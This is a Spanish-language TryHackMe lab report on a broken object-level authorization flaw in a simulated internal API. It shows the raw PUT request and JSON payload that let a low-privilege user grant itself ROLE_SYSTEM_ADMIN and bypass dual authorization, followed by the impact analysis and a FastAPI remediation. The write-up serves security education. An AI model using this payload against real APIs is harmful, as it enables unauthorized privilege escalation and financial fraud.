Aviso de Entorno y Alcance Ético: Laboratorio técnico ejecutado en sala de entrenamiento autorizada de TryHackMe con fines de demostración de riesgos en APIs modernas. Toda información técnica, identificadores y cuentas pertenecen a entornos de prueba simulados.


1. Resumen Ejecutivo del Hallazgo

En aplicaciones empresariales que gestionan flujos de aprobación financiera y recursos humanos, el control de acceso a nivel de objeto (BOLA / IDOR) representa uno de los riesgos de fraude más severos.

Durante las pruebas de seguridad sobre la API REST interna del entorno de laboratorio, se descubrió que el endpoint de actualización de perfiles de usuario /api/v2/users/{user_id}/permissions validaba la autenticación del solicitante (mediante token JWT válido), pero omitía verificar si el usuario poseía la autorización de rol para mutar los atributos de control de acceso de su propia cuenta o de terceros.

Un usuario con permisos básicos de consulta (ej. operador de entrada de datos) fue capaz de enviar un payload JSON manipulado asignándose el rol de FINANCE_SUPERVISOR_APPROVER, quebrantando la matriz de Segregación de Funciones (Separation of Duties - SoD) y permitiendo la autoaprobación unilateral de órdenes de compra simuladas.


2. Metodología de Pruebas y Reproducción

2.1. Intercepción del Flujo de Datos

Se autenticó en la plataforma con una cuenta de prueba de nivel operativo (analyst_ops con ID de base de datos 1042).

Al navegar por la interfaz de usuario, se identificó la solicitud HTTP enviada al guardar preferencias de notificación:

HTTP
PUT /api/v2/users/1042/profile HTTP/1.1
Host: internal-portal.lab
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "email": "analyst_ops@portal.lab",
  "timezone": "America/Bogota"
}

2.2. Manipulación del Parámetro y Escalada de Privilegios

Inspeccionando la documentación Swagger/OpenAPI expuesta en /api/docs, se constató la existencia de un endpoint administrativo:

HTTP
PUT /api/v2/users/{user_id}/permissions HTTP/1.1
Host: internal-portal.lab
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... [Token de analyst_ops]
Content-Type: application/json

{
  "role_id": "ROLE_SYSTEM_ADMIN",
  "permissions": [
    "APPROVAL_SOX_TRANSACTIONS",
    "BYPASS_DUAL_AUTHORIZATION",
    "EXPORT_AUDIT_LOGS"
  ]
}

Respuesta del servidor (Código 200 OK):

JSON
{
  "status": "success",
  "message": "User permissions updated successfully",
  "data": {
    "user_id": 1042,
    "role_id": "ROLE_SYSTEM_ADMIN",
    "updated_at": "2026-08-10T14:32:01Z"
  }
}

El servidor persistió los cambios en base de datos sin requerir que el token portador perteneciera a un administrador de seguridad de identidades.


3. Impacto en la Matriz de Segregación de Funciones (SoD)

La segregación de funciones es el control fundamental que impide que un solo individuo cometa un error o fraude sin ser detectado.

  • Conflicto SoD Materializado:
  • Regla violada: SOD-FIN-01: Ningún usuario que ingrese registros de facturas o proveedores puede poseer el privilegio de aprobación de pagos o liberación de transferencias.
  • Riesgo Operacional y de Fraude:
  • Posibilidad de creación de proveedores ficticios y liberación de fondos sin el segundo filtro de control.
  • Incumplimiento de Controles SOX:
  • Falla crítica en los controles de acceso lógico en aplicaciones bajo alcance de auditoría financiera (ITGC y Controles de Aplicación Automatizados).

4. Plan de Remediación y Controles ISO/IEC 27001:2022

4.1. Remediación en Código (Backend Authorization Middleware)

  • Control ISO/IEC 27001:2022: A.5.15 (Control de Acceso) y A.8.28 (Codificación Segura).
  • Acción: Implementar autorización a nivel de método mediante validación estricta de políticas RBAC contextuales. El ID del usuario nunca debe aceptarse a ciegas desde el path parameter sin verificar los claims del token en el contexto de seguridad:
PYTHON
# Ejemplo de middleware seguro en FastAPI / Flask
@app.put("/api/v2/users/{user_id}/permissions")
def update_user_permissions(user_id: int, payload: PermissionUpdateSchema, current_user = Depends(get_current_user)):
    # 1. Validar que quien ejecuta la acción posea el rol IAM específico de administración
    if "ROLE_IAM_ADMIN" not in current_user.roles:
        raise HTTPException(
            status_code=status.HTTP_403_FORBIDDEN,
            detail="Operación no autorizada: requiere rol de Administración de Identidades (IAM)"
        )
    
    # 2. Control de Segregación de Funciones: Nadie puede auto-elevar sus propios privilegios
    if current_user.id == user_id:
        raise HTTPException(
            status_code=status.HTTP_400_BAD_REQUEST,
            detail="Violación de SoD: la modificación de privilegios propios está prohibida"
        )

    return permissions_service.apply_update(user_id, payload)

4.2. Control de Gobernanza y CI/CD

  • Integrar pruebas de autorización en el pipeline de CI/CD (pruebas de integración con perfiles de prueba de bajo privilegio intentando llamar a endpoints administrativos).
  • Establecer revisiones periódicas automatizadas de matrices de acceso (Re-certificación de accesos trimestral) respaldadas por logs de auditoría inmutables.